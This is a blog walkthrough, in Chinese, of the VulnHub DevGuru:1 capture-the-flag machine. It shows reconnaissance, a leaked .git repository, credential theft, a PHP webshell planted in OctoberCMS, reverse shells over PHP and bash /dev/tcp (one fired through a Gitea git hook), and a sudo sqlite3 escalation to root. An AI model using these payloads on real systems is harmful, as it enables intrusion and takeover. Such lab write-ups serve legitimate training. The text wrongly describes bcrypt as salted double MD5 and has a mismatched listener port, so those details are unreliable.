title: Vulnhub-DevGuru-1
categories:
- VulnHub
tags:
- Linux
- nmap
- October
- gobuster
- Gitea
- Git信息泄露
- githack
- Git
- MySQL
- Adminer
- 密文替换
- RCE
- PHP
- LinEnum
- sudo
- bcrypt
cover: /images/Vulnhub.png
abbrlink: ce266e04
date: 2023-02-17 15:04:48
Vulnhub DevGuru-1<!--more-->
Name: DevGuru: 1
Date release: 7 Dec 2020
Author: Zayotic
Series: DevGuru
Difficulty: Intermediate (Depends on experience)
Description: DevGuru is a fictional web development company hiring you for a pentest assessment. You have been tasked with finding vulnerabilities on their corporate website and obtaining root.
靶机下载地址:
https://www.vulnhub.com/entry/devguru-1,620/
首先使用 nmap 进行端口扫描
nmap -p- -sV -sC -A 192.168.0.103 -oA nmap_devguru
扫描结果显示目标开放了22、80、8585端口
访问http://192.168.0.106
为博客界面
访问http://192.168.0.106:8585
为 Gitea
使用 gobuster 进行目录扫描,成功找到/backend
目录和adminer.php
文件
gobuster dir -u http://192.168.0.103 -w /usr/share/wordlists/dirb/big.txt -x php
adminer.php
为 adminer 数据库登录界面
backend
为 OctoberCMS 后台登录界面
使用 githack 提取.git
文件
下载地址:
https://github.com/lijiejie/GitHack
git clone https://github.com/lijiejie/GitHack
python GitHack.py http://192.168.0.103/.git/
在config/database.php
下找到数据库连接信息
'host' => 'localhost',
'port' => 3306,
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
通过账号密码october/SQ66EBYx4GT3byXH
成功登录adminer
在backend_users
表中发现用户frank和对应密码
username: frank
password: $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK
密码破解失败
尝试进行密文替换,经查询后$2y$10$
表示 md5 二次加密且加盐,使用在线加密网站加密密码mac123
相关地址:
https://bcrypt-generator.com/
成功拿到加密值为
$2a$10$Bp88D3.PdNiW0HSt4cI9SuAdKMr2JAzJYgVq/Tfh5VsQ8mrLpaTWq
,通过 adminer 修改用户 frank 的 password 值为以上密文
成功登入
OctoberCMS 后台http://192.168.0.103/backend/backend/auth/signin
在 HOME 中发现代码编辑模块,在Code
中添加命令执行函数
function onStart()
{
$this->page["myVar"] = shell_exec($_GET['cmd']);
}
在Markup
中添加调用执行函数,点击Save
保存
{{ this.page.myVar }}
点击Preview
查看发现代码成功写入
访问木马192.168.0.103/?cmd=id
,成功执行命令
准备用于反弹shell的 PHP 源码,内容如下:
<?php
set_time_limit(0);
$ip='192.168.0.106';
$port='4444';
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
while(!feof($fp)){
fputs($fp,"shell:");
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);
}
fclose($fp);
}
?>
在本地开启 http 服务
python -m SimpleHTTPServer 80
通过木马执行 wget 命令下载shell.php
wget http://192.168.0.106/shell.php
在本地监听4444端口
nc -nvlp 444
访问http://192.168.0.103/shell.php
,成功拿到反弹shell
修改CODE
如下
function onStart()
{
$this->page["myVar"] = system('bash -c \'exec bash -i &>/dev/tcp/192.168.0.106/5555 <&1\'');
}
在本地开启5555端口
nc -nvlp 5555
保存后访问Home
界面,成功拿到反弹shell
上传 linenum 检测系统,成功发现/var/backups
目录下存在 bak 备份文件
cd /var/backups
检查app.in.bak
文件内容,成功发现数据库连接信息
DB_TYPE = mysql
HOST = 127.0.0.1:3306
NAME = gitea
USER = gitea
; Use PASSWD = `your password` for quoting if you use special characters in the password.
PASSWD = UfFPTF8C8jjxVF2m
通过 adminer 登录 gitea 数据库
在 user 表中同样发现账户 frank,使用mac123
的密文$2a$10$Bp88D3.PdNiW0HSt4cI9SuAdKMr2JAzJYgVq/Tfh5VsQ8mrLpaTWq
进行替换,同时选择加密方式为 bcrypt
保存并成功登录192.168.0.103:8585
如果不切换加密方式,保持原加密方式 pbkdf2,可通过 Python 执行拿到对应密文
import hashlib, binascii
password = b"123456"
salt = b"Bop8nwtUiM"
dk = hashlib.pbkdf2_hmac("sha256", password, salt, 10000, dklen=50)
print(binascii.hexlify(dk))
`123456`成功生成密文为`4f6289d97c8e4bb7d06390ee09320a272ae31b07363dbee078dea49e4881cdda50f886b52ed5a89578a0e42cca143775d8cb`
在`Settings`》`Git Hooks`》`pre-receive`
找到执行命令页面,命令如下
bash -c 'exec bash -i &>/dev/tcp/192.168.0.106/6666 <&1'
点击更新后在本地监听6666端口
nc -nvlp 6666
在项目中选择文件README.md
修改并保存
成功拿到反弹shell并找到第一个flag
cat user.txt
查看当前用户 sudo 权限,成功发现以管理员权限执行 sqlite 无需密码
sudo -l
执行命令配合 sudo 进行提权,但仍然提示需要密码
sudo sqlite3 /dev/null '.shell /bin/sh'
使用-u#-1
进行绕过,成功拿到 root 权限
sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'
在管理员家目录下成功拿到第二个flag
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /root
cat root.txt
0x06 知识星球